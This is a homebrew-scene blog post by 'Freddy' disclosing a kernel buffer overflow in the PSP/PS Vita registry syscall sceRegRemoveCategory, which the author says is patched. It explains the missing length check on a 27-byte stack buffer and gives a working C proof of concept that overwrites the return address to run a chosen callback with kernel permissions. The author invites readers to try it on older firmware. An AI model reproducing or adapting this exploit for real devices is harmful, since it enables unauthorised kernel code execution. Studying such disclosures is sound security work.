How many times have you heard “Kernel exploits are hard to find, devs can’t just release them!”?
Well, that’s not really true, to prove that, here I’m posting a pretty cool bug found a couple of years ago.
Of course, this exploit is patched by now, it wouldn’t make sense to waste a perfectly working exploit right now (even thought there are many…), but I thought it’d be cool to show you guys this
But first, a bit of history.
In 2011, while investigating registry.prx, I noticed Sony made a pretty dumb error (yes, another one…), and started working with some1 to exploit this.
It only took a few days really to get a POC running, it’s probably one of the easiest exploits ever, a simple, dumb, buffer overflow.
A year ago, I handed it over to jigsaw who used it to investigate Syscall Internals (he did a pretty cool job btw )
But now, the exploit.
Basically, we exploited a vulnerability in sceRegRemoveCategory. Basically, this syscall removes a category from the system registry (obviously). It takes two arguments, a REGHANDLE and a string.
The REGHANDLE is a value given to us by sceRegOpenRegistry when we open a valid registry, totally legit, but let’s take a look at that string…
The string is just the name of the category you want to get rid of. In PSP’s system registry, all names start with a ‘/’, and sceRegRemoveCategory checks only that. The first character of the string.
Really, it checks also if the provided string is in kernel space, but we don’t care about that in this case.
RemoveCategory allocates 0x1B (27) bytes on its stack, and then calls a subroutine that basically copies our string onto that space…but it doesn’t check the length of our string!
See the problem here? We can easily overflow that buffer by providing a string that looks like this ‘/<27+ random chars>’.
The return address is stored 0×54 (90) bytes later on the stack, so we can just overwrite it and wait for sceRegRemoveCategory to return, even with an error, we don’t care
tl;dr, here’s a code snippet, callback_addr is the address of the function you want to execute with kernel permissions.
char rmc_stack[0x5A]; struct RegParam exp_params; REGHANDLE exp_handle; memset(&exp_params, 0, sizeof(exp_params)); exp_params.regtype = 1; exp_params.unk2 = 1; exp_params.unk3 = 1; exp_params.namelen = strlen("/system"); strcpy(exp_params.name, "/system"); if(!sceRegOpenRegistry(&exp_params, 2, &exp_handle)) //Need a valid registry handle to continue { memset(rmc_stack, 'X', 0x5A); //Fill the string with crap rmc_stack[0] = '/'; //This is enough to fool registry... rmc_stack[0x5A - 1] = 0; rmc_stack[0x5A - 2] = (callback_addr >> 24) & 0xFF; rmc_stack[0x5A - 3] = (callback_addr >> 16) & 0xFF; rmc_stack[0x5A - 4] = (callback_addr >> 8) & 0xFF; rmc_stack[0x5A - 5] = callback_addr & 0xFF; sceRegRemoveCategory(exp_handle, rmc_stack); //;) }
As I said, this is patched by now (I think it was patched in latest PSV update, not sure), but doesn’t mean you can’t implement it, maybe in some older firmware, for exercise.
I’m honestly surprised it took this long for Sony to patch this, especially when they made the same error in loadexec, back in 2.50 (iirc).
This shows how easy it is to break pspemu security, maybe it’s time to put our resources into something more interesting…
- Freddy